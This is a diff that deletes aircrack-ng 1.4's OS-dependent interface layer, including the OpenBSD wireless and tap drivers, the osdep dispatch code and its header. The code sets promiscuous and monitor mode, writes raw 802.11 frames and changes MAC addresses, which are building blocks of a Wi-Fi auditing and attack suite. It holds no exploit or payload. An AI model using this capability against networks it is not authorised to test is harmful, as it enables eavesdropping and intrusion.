-			case IEEE80211_RADIOTAP_FHSS:
-				body += sizeof(uint16_t);
-				break;
-
-			case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-				dbm_power = *body++;
-				break;
-
-			case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-				dbm_power -= *body++;
-				break;
-
-			case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-				db_power = *body++;
-				break;
-
-			case IEEE80211_RADIOTAP_DB_ANTNOISE:
-				db_power -= *body++;
-				break;
-
-			default:
-				i = IEEE80211_RADIOTAP_EXT + 1;
-				break;
-		}
-	}
-
-	/* set power */
-	if (ri)
-	{
-		if (dbm_power)
-			ri->ri_power = dbm_power;
-		else
-			ri->ri_power = db_power;
-	}
-
-	/* XXX cache; drivers won't change this per-packet */
-	/* check if FCS/CRC is included in packet */
-	if (po->po_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS))
-	{
-		*plen -= IEEE80211_CRC_LEN;
-		po->po_nocrc = 1;
-	}
-}
-
-static unsigned char *
-get_80211(struct priv_obsd * po, int * plen, struct rx_info * ri)
-{
-	struct bpf_hdr * bpfh;
-	struct ieee80211_radiotap_header * rth;
-	void * ptr;
-	unsigned char ** data;
-	int * totlen;
-
-	data = &po->po_next;
-	totlen = &po->po_totlen;
-	assert(*totlen);
-
-	/* bpf hdr */
-	bpfh = (struct bpf_hdr *) (*data);
-	assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
-	*totlen -= bpfh->bh_hdrlen;
-
-	/* check if more packets */
-	if ((int) bpfh->bh_caplen < *totlen)
-	{
-		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
-		int offset = BPF_WORDALIGN(tot);
-
-		*data = (unsigned char *) bpfh + offset;
-		*totlen -= offset - tot; /* take into account align bytes */
-	}
-	else if ((int) bpfh->bh_caplen > *totlen)
-		abort();
-
-	*plen = bpfh->bh_caplen;
-	*totlen -= bpfh->bh_caplen;
-	assert(*totlen >= 0);
-
-	/* radiotap */
-	rth = (struct ieee80211_radiotap_header *) ((char *) bpfh
-												+ bpfh->bh_hdrlen);
-	get_radiotap_info(po, rth, plen, ri);
-	*plen -= rth->it_len;
-	assert(*plen > 0);
-
-	/* data */
-	ptr = (char *) rth + rth->it_len;
-
-	return ptr;
-}
-
-static int obsd_get_channel(struct wif * wi)
-{
-	struct priv_obsd * po = wi_priv(wi);
-	struct ieee80211chanreq channel;
-
-	memset(&channel, 0, sizeof(channel));
-	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
-
-	if (ioctl(po->po_s, SIOCG80211CHANNEL, (caddr_t) &channel) < 0) return -1;
-
-	return channel.i_channel;
-}
-
-static int obsd_set_channel(struct wif * wi, int chan)
-{
-	struct priv_obsd * po = wi_priv(wi);
-	struct ieee80211chanreq channel;
-
-	memset(&channel, 0, sizeof(channel));
-	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
-	channel.i_channel = chan;
-	if (ioctl(po->po_s, SIOCS80211CHANNEL, (caddr_t) &channel) < 0) return -1;
-	po->po_chan = chan;
-
-	return 0;
-}
-
-static int
-obsd_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
-{
-	struct priv_obsd * po = wi_priv(wi);
-	unsigned char * wh;
-	int plen;
-
-	assert(len > 0);
-
-	/* need to read more */
-	while (po->po_totlen == 0)
-	{
-		po->po_totlen = read(po->po_fd, po->po_buf, sizeof(po->po_buf));
-		if (po->po_totlen == -1)
-		{
-			po->po_totlen = 0;
-			return -1;
-		}
-		po->po_next = po->po_buf;
-	}
-
-	/* read 802.11 packet */
-	wh = get_80211(po, &plen, ri);
-	if (plen > len) plen = len;
-	assert(plen > 0);
-	memcpy(h80211, wh, plen);
-
-	if (ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi);
-
-	return plen;
-}
-
-static int obsd_write(struct wif * wi,
-					  unsigned char * h80211,
-					  int len,
-					  struct tx_info * ti)
-{
-	struct priv_obsd * po = wi_priv(wi);
-	int rc;
-
-	/* XXX make use of ti */
-	if (ti)
-	{
-	}
-
-	rc = write(po->po_fd, h80211, len);
-	if (rc == -1) return rc;
-
-	return 0;
-}
-
-static void do_free(struct wif * wi)
-{
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-	free(wi);
-}
-
-static void obsd_close(struct wif * wi)
-{
-	struct priv_obsd * po = wi_priv(wi);
-
-	close(po->po_fd);
-	close(po->po_s);
-	do_free(wi);
-}
-
-static int do_obsd_open(struct wif * wi, char * iface)
-{
-	int i;
-	char buf[64];
-	int fd = -1;
-	struct ifreq ifr;
-	unsigned int dlt = DLT_IEEE802_11_RADIO;
-	int s;
-	unsigned int flags;
-	struct ifmediareq ifmr;
-	int * mwords;
-	struct priv_obsd * po = wi_priv(wi);
-	unsigned int size = sizeof(po->po_buf);
-
-	/* basic sanity check */
-	if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1;
-
-	/* open wifi */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1) return -1;
-	po->po_s = s;
-
-	/* set iface up and promisc */
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
-
-	flags = ifr.ifr_flags;
-	flags |= IFF_UP | IFF_PROMISC;
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-	ifr.ifr_flags = flags & 0xffff;
-	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
-
-	/* monitor mode */
-	memset(&ifmr, 0, sizeof(ifmr));
-	strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
-	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
-
-	assert(ifmr.ifm_count != 0);
-
-	mwords = (int *) malloc(ifmr.ifm_count * sizeof(int));
-	if (!mwords) goto close_sock;
-	ifmr.ifm_ulist = mwords;
-	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
-	{
-		free(mwords);
-		goto close_sock;
-	}
-	free(mwords);
-
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
-	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
-
-	/* setup ifreq for chan that may be used in future */
-	strncpy(po->po_ireq.i_name, iface, IFNAMSIZ);
-
-	/* same for ifreq [mac addr] */
-	strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ);
-
-	/* open bpf */
-	for (i = 0; i < 256; i++)
-	{
-		snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
-
-		fd = open(buf, O_RDWR);
-		if (fd < 0)
-		{
-			if (errno != EBUSY) return -1;
-			continue;
-		}
-		else
-			break;
-	}
-
-	if (fd < 0) goto close_sock;
-
-	if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf;
-
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-
-	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;
-
-	if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf;
-
-	if (ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf;
-
-	dlt = 1;
-	if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf;
-
-	return fd;
-
-close_sock:
-	close(s);
-	return -1;
-close_bpf:
-	close(fd);
-	goto close_sock;
-}
-
-static int obsd_fd(struct wif * wi)
-{
-	struct priv_obsd * po = wi_priv(wi);
-
-	return po->po_fd;
-}
-
-static int obsd_get_mac(struct wif * wi, unsigned char * mac)
-{
-	struct ifaddrs *ifa, *p;
-	char * name = wi_get_ifname(wi);
-	int rc = -1;
-	struct sockaddr_dl * sdp;
-
-	if (getifaddrs(&ifa) == -1) return -1;
-
-	p = ifa;
-	while (p)
-	{
-		if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0)
-		{
-
-			sdp = (struct sockaddr_dl *) p->ifa_addr;
-			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
-			rc = 0;
-			break;
-		}
-
-		p = p->ifa_next;
-	}
-	freeifaddrs(ifa);
-
-	return rc;
-}
-
-static int obsd_get_monitor(struct wif * wi)
-{
-	if (wi)
-	{
-	} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int obsd_get_rate(struct wif * wi)
-{
-	if (wi)
-	{
-	} /* XXX unused */
-
-	/* XXX */
-	return 1000000;
-}
-
-static int obsd_set_rate(struct wif * wi, int rate)
-{
-	if (wi || rate)
-	{
-	} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int obsd_set_mac(struct wif * wi, unsigned char * mac)
-{
-	struct priv_obsd * po = wi_priv(wi);
-	struct ifreq * ifr = &po->po_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(po->po_s, SIOCSIFLLADDR, ifr);
-}
-
-static struct wif * obsd_open(char * iface)
-{
-	struct wif * wi;
-	struct priv_obsd * po;
-	int fd;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*po));
-	if (!wi) return NULL;
-	wi->wi_read = obsd_read;
-	wi->wi_write = obsd_write;
-	wi->wi_set_channel = obsd_set_channel;
-	wi->wi_get_channel = obsd_get_channel;
-	wi->wi_close = obsd_close;
-	wi->wi_fd = obsd_fd;
-	wi->wi_get_mac = obsd_get_mac;
-	wi->wi_set_mac = obsd_set_mac;
-	wi->wi_get_rate = obsd_get_rate;
-	wi->wi_set_rate = obsd_set_rate;
-	wi->wi_get_monitor = obsd_get_monitor;
-
-	/* setup iface */
-	fd = do_obsd_open(wi, iface);
-	if (fd == -1)
-	{
-		do_free(wi);
-		return NULL;
-	}
-
-	/* setup private state */
-	po = wi_priv(wi);
-	po->po_fd = fd;
-
-	return wi;
-}
-
-struct wif * wi_open_osdep(char * iface) { return obsd_open(iface); }
-
-EXPORT int get_battery_state(void)
-{
-#if defined(__FreeBSD__)
-	int value;
-	size_t len;
-
-	len = 1;
-	value = 0;
-	sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
-	if (value == 0)
-	{
-		sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
-		value = value * 60;
-	}
-	else
-	{
-		value = 0;
-	}
-
-	return (value);
-#elif defined(_BSD_SOURCE)
-	struct apm_power_info api;
-	int apmfd;
-	if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0;
-	if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0)
-	{
-		close(apmfd);
-		return 0;
-	}
-	close(apmfd);
-	if (api.battery_state == APM_BATT_UNKNOWN
-		|| api.battery_state == APM_BATTERY_ABSENT
-		|| api.battery_state == APM_BATT_CHARGING
-		|| api.ac_state == APM_AC_ON)
-	{
-		return 0;
-	}
-	return ((int) (api.minutes_left)) * 60;
-#else
-	return 0;
-#endif
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/openbsd_tap.c Deleted

@@ -1,217 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for OpenBSD. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-#include "osdep.h"
-
-struct tip_obsd
-{
-	int to_fd;
-	int to_ioctls;
-	struct ifreq to_ifr;
-	char to_name[MAX_IFACE_NAME];
-	int to_destroy;
-};
-
-static int ti_do_open_obsd(struct tif * ti, char * name)
-{
-	int fd;
-	char * iface = "/dev/tap";
-	struct stat st;
-	struct tip_obsd * priv = ti_priv(ti);
-	int s;
-	unsigned int flags;
-	struct ifreq * ifr;
-
-	/* open tap */
-	if (name)
-		iface = name;
-	else
-		priv->to_destroy = 1; /* we create, we destroy */
-
-	fd = open(iface, O_RDWR);
-	if (fd == -1) return -1;
-
-	/* get name */
-	if (fstat(fd, &st) == -1) goto err;
-	snprintf(priv->to_name,
-			 sizeof(priv->to_name) - 1,
-			 "%s",
-			 devname(st.st_rdev, S_IFCHR));
-
-	/* bring iface up */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1) goto err;
-	priv->to_ioctls = s;
-
-	/* get flags */
-	ifr = &priv->to_ifr;
-	memset(ifr, 0, sizeof(*ifr));
-	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->to_name);
-	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
-	flags = ifr->ifr_flags;
-
-	/* set flags */
-	flags |= IFF_UP;
-	ifr->ifr_flags = flags & 0xffff;
-	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
-
-	return fd;
-err:
-	/* XXX destroy */
-	close(fd);
-	return -1;
-err2:
-	close(s);
-	goto err;
-}
-
-static void ti_do_free(struct tif * ti)
-{
-	struct tip_obsd * priv = ti_priv(ti);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_destroy(struct tip_obsd * priv)
-{
-	ioctl(priv->to_ioctls, SIOCIFDESTROY, &priv->to_ifr);
-}
-
-static void ti_close_obsd(struct tif * ti)
-{
-	struct tip_obsd * priv = ti_priv(ti);
-
-	if (priv->to_destroy) ti_destroy(priv);
-
-	close(priv->to_fd);
-	close(priv->to_ioctls);
-	ti_do_free(ti);
-}
-
-static char * ti_name_obsd(struct tif * ti)
-{
-	struct tip_obsd * priv = ti_priv(ti);
-
-	return priv->to_name;
-}
-
-static int ti_set_mtu_obsd(struct tif * ti, int mtu)
-{
-	struct tip_obsd * priv = ti_priv(ti);
-
-	priv->to_ifr.ifr_mtu = mtu;
-
-	return ioctl(priv->to_ioctls, SIOCSIFMTU, &priv->to_ifr);
-}
-
-static int ti_set_mac_obsd(struct tif * ti, unsigned char * mac)
-{
-	struct tip_obsd * priv = ti_priv(ti);
-	struct ifreq * ifr = &priv->to_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(priv->to_ioctls, SIOCSIFLLADDR, ifr);
-}
-
-static int ti_set_ip_obsd(struct tif * ti, struct in_addr * ip)
-{
-	struct tip_obsd * priv = ti_priv(ti);
-	struct ifaliasreq ifra;
-	struct sockaddr_in * s_in;
-
-	/* assume same size */
-	memset(&ifra, 0, sizeof(ifra));
-	strncpy(ifra.ifra_name, priv->to_ifr.ifr_name, IFNAMSIZ);
-
-	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
-	s_in->sin_family = PF_INET;
-	s_in->sin_addr = *ip;
-	s_in->sin_len = sizeof(*s_in);
-
-	return ioctl(priv->to_ioctls, SIOCAIFADDR, &ifra);
-}
-
-static int ti_fd_obsd(struct tif * ti)
-{
-	struct tip_obsd * priv = ti_priv(ti);
-
-	return priv->to_fd;
-}
-
-static int ti_read_obsd(struct tif * ti, void * buf, int len)
-{
-	return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_obsd(struct tif * ti, void * buf, int len)
-{
-	return write(ti_fd(ti), buf, len);
-}
-
-static struct tif * ti_open_obsd(char * iface)
-{
-	struct tif * ti;
-	struct tip_obsd * priv;
-	int fd;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti) return NULL;
-	ti->ti_name = ti_name_obsd;
-	ti->ti_set_mtu = ti_set_mtu_obsd;
-	ti->ti_close = ti_close_obsd;
-	ti->ti_fd = ti_fd_obsd;
-	ti->ti_read = ti_read_obsd;
-	ti->ti_write = ti_write_obsd;
-	ti->ti_set_mac = ti_set_mac_obsd;
-	ti->ti_set_ip = ti_set_ip_obsd;
-
-	/* setup iface */
-	fd = ti_do_open_obsd(ti, iface);
-	if (fd == -1)
-	{
-		ti_do_free(ti);
-		return NULL;
-	}
-
-	/* setup private state */
-	priv = ti_priv(ti);
-	priv->to_fd = fd;
-
-	return ti;
-}
-
-EXPORT struct tif * ti_open(char * iface) { return ti_open_obsd(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/osdep.c Deleted

@@ -1,252 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <stdlib.h>
-#include <assert.h>
-#include <string.h>
-
-#include "osdep.h"
-#include "network.h"
-
-extern struct wif * file_open(char * iface);
-
-EXPORT int
-wi_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
-{
-	assert(wi->wi_read);
-	return wi->wi_read(wi, h80211, len, ri);
-}
-
-EXPORT int
-wi_write(struct wif * wi, unsigned char * h80211, int len, struct tx_info * ti)
-{
-	assert(wi->wi_write);
-	return wi->wi_write(wi, h80211, len, ti);
-}
-
-EXPORT int wi_set_ht_channel(struct wif * wi, int chan, unsigned int htval)
-{
-	assert(wi->wi_set_ht_channel);
-	return wi->wi_set_ht_channel(wi, chan, htval);
-}
-
-EXPORT int wi_set_channel(struct wif * wi, int chan)
-{
-	assert(wi->wi_set_channel);
-	return wi->wi_set_channel(wi, chan);
-}
-
-EXPORT int wi_get_channel(struct wif * wi)
-{
-	assert(wi->wi_get_channel);
-	return wi->wi_get_channel(wi);
-}
-
-EXPORT int wi_set_freq(struct wif * wi, int freq)
-{
-	assert(wi->wi_set_freq);
-	return wi->wi_set_freq(wi, freq);
-}
-
-EXPORT int wi_get_freq(struct wif * wi)
-{
-	assert(wi->wi_get_freq);
-	return wi->wi_get_freq(wi);
-}
-
-EXPORT int wi_get_monitor(struct wif * wi)
-{
-	assert(wi->wi_get_monitor);
-	return wi->wi_get_monitor(wi);
-}
-
-EXPORT char * wi_get_ifname(struct wif * wi) { return wi->wi_interface; }
-
-EXPORT void wi_close(struct wif * wi)
-{
-	assert(wi->wi_close);
-	wi->wi_close(wi);
-}
-
-EXPORT int wi_fd(struct wif * wi)
-{
-	assert(wi->wi_fd);
-	return wi->wi_fd(wi);
-}
-
-struct wif * wi_alloc(int sz)
-{
-	struct wif * wi;
-	void * priv;
-
-	/* Allocate wif & private state */
-	wi = malloc(sizeof(*wi));
-	if (!wi) return NULL;
-	memset(wi, 0, sizeof(*wi));
-
-	priv = malloc(sz);
-	if (!priv)
-	{
-		free(wi);
-		return NULL;
-	}
-	memset(priv, 0, sz);
-	wi->wi_priv = priv;
-
-	return wi;
-}
-
-void * wi_priv(struct wif * wi) { return wi->wi_priv; }
-
-EXPORT int wi_get_mac(struct wif * wi, unsigned char * mac)
-{
-	assert(wi->wi_get_mac);
-	return wi->wi_get_mac(wi, mac);
-}
-
-EXPORT int wi_set_mac(struct wif * wi, unsigned char * mac)
-{
-	assert(wi->wi_set_mac);
-	return wi->wi_set_mac(wi, mac);
-}
-
-EXPORT int wi_get_rate(struct wif * wi)
-{
-	assert(wi->wi_get_rate);
-	return wi->wi_get_rate(wi);
-}
-
-EXPORT int wi_set_rate(struct wif * wi, int rate)
-{
-	assert(wi->wi_set_rate);
-	return wi->wi_set_rate(wi, rate);
-}
-
-EXPORT int wi_get_mtu(struct wif * wi)
-{
-	assert(wi->wi_get_mtu);
-	return wi->wi_get_mtu(wi);
-}
-
-EXPORT int wi_set_mtu(struct wif * wi, int mtu)
-{
-	assert(wi->wi_set_mtu);
-	return wi->wi_set_mtu(wi, mtu);
-}
-
-EXPORT struct wif * wi_open(char * iface)
-{
-	struct wif * wi;
-
-	if (iface == NULL || iface[0] == 0)
-	{
-		return NULL;
-	}
-
-	wi = file_open(iface);
-	if (wi == (struct wif *) -1) return NULL;
-	if (!wi) wi = net_open(iface);
-	if (!wi) wi = wi_open_osdep(iface);
-	if (!wi) return NULL;
-
-	strncpy(wi->wi_interface, iface, sizeof(wi->wi_interface) - 1);
-	wi->wi_interface[sizeof(wi->wi_interface) - 1] = 0;
-
-	return wi;
-}
-
-/* tap stuff */
-EXPORT char * ti_name(struct tif * ti)
-{
-	assert(ti->ti_name);
-	return ti->ti_name(ti);
-}
-
-EXPORT int ti_set_mtu(struct tif * ti, int mtu)
-{
-	assert(ti->ti_set_mtu);
-	return ti->ti_set_mtu(ti, mtu);
-}
-
-EXPORT int ti_get_mtu(struct tif * ti)
-{
-	assert(ti->ti_get_mtu);
-	return ti->ti_get_mtu(ti);
-}
-
-EXPORT void ti_close(struct tif * ti)
-{
-	assert(ti->ti_close);
-	ti->ti_close(ti);
-}
-
-EXPORT int ti_fd(struct tif * ti)
-{
-	assert(ti->ti_fd);
-	return ti->ti_fd(ti);
-}
-
-EXPORT int ti_read(struct tif * ti, void * buf, int len)
-{
-	assert(ti->ti_read);
-	return ti->ti_read(ti, buf, len);
-}
-
-EXPORT int ti_write(struct tif * ti, void * buf, int len)
-{
-	assert(ti->ti_write);
-	return ti->ti_write(ti, buf, len);
-}
-
-EXPORT int ti_set_mac(struct tif * ti, unsigned char * mac)
-{
-	assert(ti->ti_set_mac);
-	return ti->ti_set_mac(ti, mac);
-}
-
-EXPORT int ti_set_ip(struct tif * ti, struct in_addr * ip)
-{
-	assert(ti->ti_set_ip);
-	return ti->ti_set_ip(ti, ip);
-}
-
-struct tif * ti_alloc(int sz)
-{
-	struct tif * ti;
-	void * priv;
-
-	/* Allocate tif & private state */
-	ti = malloc(sizeof(*ti));
-	if (!ti) return NULL;
-	memset(ti, 0, sizeof(*ti));
-
-	priv = malloc(sz);
-	if (!priv)
-	{
-		free(ti);
-		return NULL;
-	}
-	memset(priv, 0, sz);
-	ti->ti_priv = priv;
-
-	return ti;
-}
-
-void * ti_priv(struct tif * ti) { return ti->ti_priv; }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/osdep.h Deleted

@@ -1,203 +0,0 @@
-/*
- * Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
- * All OS dependent crap should go here.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef __AIRCRACK_NG_OSEDEP_H__
-#define __AIRCRACK_NG_OSEDEP_H__
-
-#include <netinet/in.h>
-#include <stdint.h>
-
-#include "byteorder.h"
-#include "packed.h"
-
-#if defined(__APPLE_CC__) && defined(_XCODE)
-#include <pcap/bpf.h>
-#undef LINKTYPE_RADIOTAP_HDR
-#define LINKTYPE_RADIOTAP_HDR DLT_IEEE802_11_RADIO
-#undef LINKTYPE_IEEE802_11
-#define LINKTYPE_IEEE802_11 DLT_IEEE802_11
-#undef LINKTYPE_PRISM_HEADER
-#define LINKTYPE_PRISM_HEADER DLT_PRISM_HEADER
-#undef LINKTYPE_ETHERNET
-#define LINKTYPE_ETHERNET DLT_ERF_ETH
-#undef LINKTYPE_PPI_HDR
-#define LINKTYPE_PPI_HDR DLT_PPI
-#undef TCPDUMP_MAGIC
-#define TCPDUMP_MAGIC 0xa1b2c3d4
-#endif
-
-#if defined(_MSC_VER)
-//  Microsoft
-#define EXPORT __declspec(dllexport)
-#define IMPORT __declspec(dllimport)
-#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
-	|| defined(__INTEL_COMPILER)
-#define EXPORT __attribute__((visibility("default")))
-#define IMPORT
-#else
-//  do nothing and hope for the best?
-#define EXPORT
-#define IMPORT
-#pragma warning Unknown dynamic link import / export semantics.
-#endif
-
-/* For all structures, when adding new fields, always append them to the end.
- * This way legacy binary code does not need to be recompiled.  This is
- * particularly useful for DLLs.  -sorbo
- */
-
-struct tx_info
-{
-	unsigned int ti_rate;
-};
-
-struct rx_info
-{
-	uint64_t ri_mactime;
-	int32_t ri_power;
-	int32_t ri_noise;
-	uint32_t ri_channel;
-	uint32_t ri_freq;
-	uint32_t ri_rate;
-	uint32_t ri_antenna;
-} __packed;
-
-/* Normal code should not access this directly.  Only osdep.
- * This structure represents a single interface.  It should be created with
- * wi_open and destroyed with wi_close.
- */
-#define MAX_IFACE_NAME 64
-struct wif
-{
-	int (*wi_read)(struct wif * wi,
-				   unsigned char * h80211,
-				   int len,
-				   struct rx_info * ri);
-	int (*wi_write)(struct wif * wi,
-					unsigned char * h80211,
-					int len,
-					struct tx_info * ti);
-	int (*wi_set_ht_channel)(struct wif * wi, int chan, unsigned int htval);
-	int (*wi_set_channel)(struct wif * wi, int chan);
-	int (*wi_get_channel)(struct wif * wi);
-	int (*wi_set_freq)(struct wif * wi, int freq);
-	int (*wi_get_freq)(struct wif * wi);
-	void (*wi_close)(struct wif * wi);
-	int (*wi_fd)(struct wif * wi);
-	int (*wi_get_mac)(struct wif * wi, unsigned char * mac);
-	int (*wi_set_mac)(struct wif * wi, unsigned char * mac);
-	int (*wi_set_rate)(struct wif * wi, int rate);
-	int (*wi_get_rate)(struct wif * wi);
-	int (*wi_set_mtu)(struct wif * wi, int mtu);
-	int (*wi_get_mtu)(struct wif * wi);
-	int (*wi_get_monitor)(struct wif * wi);
-
-	void * wi_priv;
-	char wi_interface[MAX_IFACE_NAME];
-};
-
-/* Routines to be used by client code */
-IMPORT struct wif * wi_open(char * iface);
-IMPORT int
-wi_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri);
-IMPORT int
-wi_write(struct wif * wi, unsigned char * h80211, int len, struct tx_info * ti);
-IMPORT int wi_set_channel(struct wif * wi, int chan);
-IMPORT int wi_set_ht_channel(struct wif * wi, int chan, unsigned int htval);
-IMPORT int wi_get_channel(struct wif * wi);
-IMPORT int wi_set_freq(struct wif * wi, int freq);
-IMPORT int wi_get_freq(struct wif * wi);
-IMPORT void wi_close(struct wif * wi);
-IMPORT char * wi_get_ifname(struct wif * wi);
-IMPORT int wi_get_mac(struct wif * wi, unsigned char * mac);
-IMPORT int wi_set_mac(struct wif * wi, unsigned char * mac);
-IMPORT int wi_get_rate(struct wif * wi);
-IMPORT int wi_set_rate(struct wif * wi, int rate);
-IMPORT int wi_get_monitor(struct wif * wi);
-IMPORT int wi_get_mtu(struct wif * wi);
-IMPORT int wi_set_mtu(struct wif * wi, int mtu);
-
-/* wi_open_osdep should determine the type of card and setup the wif structure
- * appropriately.  There is one per OS.  Called by wi_open.
- */
-extern struct wif * wi_open_osdep(char * iface);
-
-/* This will return the FD used for reading.  This is required for using select
- * on it.
- */
-IMPORT int wi_fd(struct wif * wi);
-
-/* Helper routines for osdep code.  */
-extern struct wif * wi_alloc(int sz);
-extern void * wi_priv(struct wif * wi);
-
-/* Client code can use this to determine the battery state.  One per OS. */
-IMPORT int get_battery_state(void);
-
-/* Client code can create a tap interface */
-/* XXX we can unify the tap & wi stuff in the future, but for now, lets keep
- * them separate until we learn something.
- */
-struct tif
-{
-	int (*ti_read)(struct tif * ti, void * buf, int len);
-	int (*ti_write)(struct tif * ti, void * buf, int len);
-	int (*ti_fd)(struct tif * ti);
-	char * (*ti_name)(struct tif * ti);
-	int (*ti_set_mtu)(struct tif * ti, int mtu);
-	int (*ti_get_mtu)(struct tif * ti);
-	int (*ti_set_ip)(struct tif * ti, struct in_addr * ip);
-	int (*ti_set_mac)(struct tif * ti, unsigned char * mac);
-	void (*ti_close)(struct tif * ti);
-
-	void * ti_priv;
-};
-/* one per OS */
-IMPORT struct tif * ti_open(char * iface);
-
-/* osdep routines */
-extern struct tif * ti_alloc(int sz);
